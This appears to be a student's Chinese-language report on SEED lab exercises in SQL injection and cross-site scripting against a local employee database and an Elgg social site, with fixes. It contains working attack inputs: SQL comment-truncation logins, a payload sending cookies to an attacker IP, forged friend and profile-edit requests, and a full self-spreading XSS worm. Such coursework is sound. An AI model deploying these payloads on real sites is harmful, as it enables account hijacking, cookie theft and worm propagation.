实践十 Web应用程序安全攻防
1.实践内容
1.1 SQL概念
SQL是一门语言 :结构化查询语言,是一种非过程化语言,只需要提出做什么。
SQL是最重要的关系型数据库操作语言,是所有的关系型数据库管理系统的标准语言。
SQL语言的作用:
可以对数据进行增删查改(CRUD)操作;
数据库的队形进行创建、修改、删除操作;
用户赋予权限、取消权限、角色赋权限、取消权限、给用户关联角色;
事务控制。
1.2 SQL注入概念
SQL注入(SQL lnjection)是发生在Web程序中数据库层的安全漏洞,是比较常用的网络攻击方式之一,他不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至修改数据库。也就是说,SQL注入就是在用户输入的字符串中添加SQL语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行,攻击者就可以执行计划外的命令或者访问未授权的数据。
1.3 SQL注入的防范
1.开发人员在开发过程中要有SQL注入防御的思想,对用户输入的所有内容都要进行过滤。
2.使用数据库时,命名应该较为复杂,不应出现admin,user这样的库以及username , password这样的字段。
3.涉及密码的时候一定要加密存储。
4.使用一些框架及模版前检查代码是否有输入内容检测。
5.测试阶段,应进行SQL注入测试。
6.数据库权限最小化,防止拿到webshell权限,不要用特权账户或者能够登陆系统的账户启动数据库。
1.4 实践过程
1.4.1 SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
1.熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
2.对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
3.对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
4.SQL对抗:修复上述SQL注入攻击漏洞。
1.4.2 SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
1.发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
2.弹窗显示cookie信息:将cookie信息显示。
3.窃取受害者的cookies:将cookie发送给攻击者。
4.成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
5.修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
6.编写XSS蠕虫。
7.对抗XSS攻击。
2.实践过程
2.1 SEED SQL注入攻击与防御实验
2.1.1 mysql环境与基本SQL语句
1.打开SEED Ubuntu虚拟机并启动mysql,打开终端并输入命令:mysql -u root -p,接着输入密码:seedubuntu:
使用show databases;命令查看所有数据库:
2.使用Users数据库,输入命令:use Users;
查看Users数据库中的表,输入命令:show tables;
从图中可以看到,在图中只有一个表credential。
输入SQL指令select * from credential;可以查看一下这张表的具体内容:
输入命令:select * from credential where Name=‘Alice’; ,来筛选Alice的信息:
2.1.2 对select语句的SQL注入攻击
1.在虚拟机的浏览器中输入www.SEEDLabSQLInjection.com:
输入账户名、密码,尝试进行登录,登录失败:
对该网站进行分析,可以得出,该网站在进行登录验证的操作的时候,使用了unsafe_home.php文件。
这个php文件正好在本机文件夹下:/var/www/SQLInjection。
2.打开这个文件,对这个php文件中的代码进行进一步分析:
这个网站使用SHA1对登录口令进行哈希运算,然后将哈希的结果存储到数据库中,用户在登录时,后台会将用户输入的口令进行SHA1运算,验证其是否与数据库中的值相等。找到后台进行登录验证时使用的SQL指令:
3.如果在一个mysql指令中输入#,那么#后面的就是对这行指令的注释了。这也就意味着只需要输入“用户名+‘+空格+#”,就能不用密码即可登录。
回到登录页面,将用户名改为Admin’ #,不输入密码,尝试进行登录:
可以看到成功黑进该网站:
2.1.3 对update语句的SQL注入攻击
1.打开unsafe_edit_backend.php文件,找到修改数据库的命令:
类似于上一节的分析,我们只需要在输入的新的昵称后加一个 ‘#,就能修改所有用户的昵称。
如Admin123456’#:
2.1.4 SQL对抗——SQL注入漏洞的修复
经过上述的分析,可以看出,由于在后台使用了一行完整的sql指令进行数据库处理,我们可以借助sql命令格式的特点,使用“#”符号对本该拥有的筛选条件进行“截断”,这样就可以实现未经许可的侵入攻击,达到非法访问和篡改信息的目的。
我们可以使用绑定参数的方法,对上述SQL语句进行修复。
修改前:
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
修改后:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
这样,原有的SQL语句需要填写的地方将以“?”代替,使用bind_param方法,将传入的字符串参数替代字符串中的“?”符号,防止了针对SQL字符串的截断。
2.2 SEED XSS跨站脚本攻击实验(Elgg)
2.2.1 发布恶意消息,显示警报窗口
1.在浏览器中输入地址:www.xsslabelgg.com,进入XSS实验网站:
输入用户名Alice和口令seedalice,登录Alice账户:
进入Profile页面:
2.在Brief Description栏中输入指令:,并单击“save”保存设置。
我们可以看到在个人简介界面中显示了弹窗提示“XSS”这样一个弹窗:
2.2.2 cookies信息弹窗显示
1.修改brief description中的信息为
即可显示当前的cookie信息:
2.2.3 窃取受害者的cookies
1.输入指令查看本机ip地址为192.168.200.6:
为了实现窃取受害者的cookies的攻击,我们需要构造下面的payload:
<script>document.write('<img src=http://192.168.200.6:5555?c=' + escape(document.cookie) + '>');</script>
在这个payload中,攻击者会从本机地址的5555端口返回一个图片,并且会得到一个cookie值。
将这个payload修改到在Alice账号的Brief description中。
为了捕获到escape方法中返回的变量c的值,我们需要使用命令nc -l 5555 -v。将我们修改的个人信息保存,我们从终端中看到了一些信息:
2.2.4 成为受害者的朋友
1。分析一下添加好友的操作。先进入一个好友的个人主页,Boby:www.xsslabelgg.com/profile/boby:
在好友的个人主页,按下F12,打开开发者工具,然后切换到Network选项卡:
2.点击“Add friend”,浏览器便捕获到了一条请求:
点开这个请求,得到请求URL如下:
http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1683776534&__elgg_token=lqa-eMpe2uush2F4UYrJuA
这个请求URL包含如下信息:
地址:http://www.xsslabelgg.com/action/friends/add
好友ID(friend):45
时间戳:1652894432
token:Nbhjssw5yrGe-cnFAAYYSg
3.为了添加其他好友,构造下面的payload:
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
将这个Payload填写在Alice的用户资料的About me中,保存:
4.登录Boby的个人账户,然后点进Alice的个人主页,可直接在Web Console的Network中看到自动申请添加好友的数据包:
2.2.5 修改受害者的信息
1.分析一下修改个人信息时,会向服务器发送什么样的请求。
进入Alice的EDIT PROFILE界面,打开开发人员工具:
我们可以看到请求的链接地址信息和时间戳等信息:
2.构造下面的payload:
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>This had been changed by XSS attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
3.将这个payload代码拷贝到个人信息的About me中并保存:
登录Boby的个人账户,然后点进Alice的个人主页,发现Boby的信息为“This had been changed by XSS attack.”:
2.2.6 编写XSS蠕虫
1.所用的蠕虫代码如下:
代码通过将XSS的payload自动复制到受害者的个人资料中实现对受害者的感染。如果有其他用户访问了受害者的个人主页,那么他也会被感染。受到感染后,受害者的个人简介会变为“Hacked by XSS WORM !!!”。
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>Hacked by XSS WORM !!!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
2.将这个蠕虫代码写到Alice的About me中,保存:
如果好友Boby访问了Alice的主页,就会感染xss蠕虫。
查看Boby的 About me信息,可以发现感染了xss蠕虫攻击代码:
3.如果另一个用户访问了Boby的主页,那么他也会受到感染;
2.2.7 对抗XSS攻击
1.用管理员账户登录:
找到Account->administration->plugins,找到插件HTMLawed,点击activate激活:
2.查看Alice的profile,可以看到,刚刚的XSS攻击已经没有效果,Alice中的代码被当作about me显示:
3.学习中遇到的问题及解决
问题1:主机和Ubuntu虚拟机之间无法进行复制粘贴。
解决方案:重新下载并修复VM Tools就可以实现复制粘贴功能。
4.实践总结
通过本次实验,我学习到了Web应用程序安全的基本原理和方法。对数据库有了更深入的认识,学习了基本的SQL语言,特别是SQL注入攻击。对Web应用程序安全有了进一步的认识。